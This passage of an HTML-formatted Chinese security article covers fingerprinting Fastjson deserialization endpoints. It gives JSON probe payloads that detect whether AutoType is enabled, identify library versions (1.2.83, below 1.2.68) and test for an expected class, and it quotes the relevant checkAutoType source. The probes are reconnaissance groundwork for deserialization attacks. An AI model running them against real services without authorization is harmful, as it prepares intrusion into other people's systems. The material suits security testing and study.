&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">首先需要判断是否开启AutoType，有下面两个payload</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;xxx&#34;:{&#34;@type&#34;:&#34;java.lang.Class&#34;,&#34;val&#34;:&#34;&#34;}}</span></code></pre><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;xxx&#34;:{&#34;@type&#34;:&#34;Random.String&#34;}}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在开启AutoType的时候 payload1会报错</span><span leaf=""><br/></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">autoType is not support. java.lang.Class</span></code><span leaf=""><br/></span><span leaf="">payload2不报错。未开启AutoType的时候 payload1不报错，payload2报错</span><span leaf=""><br/></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">autoType is not support. Random.String</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">未开启AutoType时使用下面payload判断版本</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;xxx&#34;:{&#34;@type&#34;:&#34;Test.TestException&#34;}}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  版本为1.2.83时 payload不报错，24&lt;= version&lt;=80 报错，源自于在1.2.83版本checkAutoType添加了下面的代码，类名结尾为Exception或Error会直接返回null，而不会抛出异常autoType is not support</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (!autoTypeSupport) {</span><span leaf=""><br/></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">if</span></span><span leaf=""> (typeName.endsWith(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;Exception&#34;</span></span><span leaf="">) || typeName.endsWith(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;Error&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">return</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">null</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">throw</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">JSONException</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;autoType is not support. &#34;</span></span><span leaf=""> + typeName);</span><span leaf=""><br/></span><span leaf="">        }</span></code></pre><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">判断反序列化点是否存在期望类</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">下面这种写法是存在期望类的</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">JSONObject.parseObject(payload,Test.class)</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  还有一种是spring配置fastjson解析参数，在spring框架层面反序列化参数时就添加了期望类。我们可以使用下面payload来测试是否存在期望类，在请求原有参数基础上添加下面的payload</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;@type&#34;:&#34;com.alibaba.fastjson.support.geo.Feature&#34;}</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如原始请求参数为</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{&#34;username&#34;:&#34;admin&#34;,&#34;password&#34;:&#34;123456&#34;}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">修改后为</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    &#34;@type&#34;: &#34;com.alibaba.fastjson.support.geo.Feature&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;username&#34;: &#34;admin&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;password&#34;: &#34;123456&#34;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在原始请求参数为数组可修改payload为:</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">[</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        &#34;@type&#34;: &#34;com.alibaba.fastjson.support.geo.Feature&#34;,</span><span leaf=""><br/></span><span leaf="">        &#34;username&#34;: &#34;admin&#34;,</span><span leaf=""><br/></span><span leaf="">        &#34;password&#34;: &#34;123456&#34;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">]</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">  若报错则反序列化点存在期望类，另外需要注意的是这个</span><span leaf=""><br/></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.alibaba.fastjson.support.geo.Feature</span></code><span leaf=""><br/></span><span leaf="">类在1.2.68版本才引入，同时也可以利用这个类存不存在来判断版本是否低于1.2.68</span><span leaf=""><br/></span><span leaf="">还有一个特殊的payload</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{{}:{}}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">结合原始请求参数构造</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" 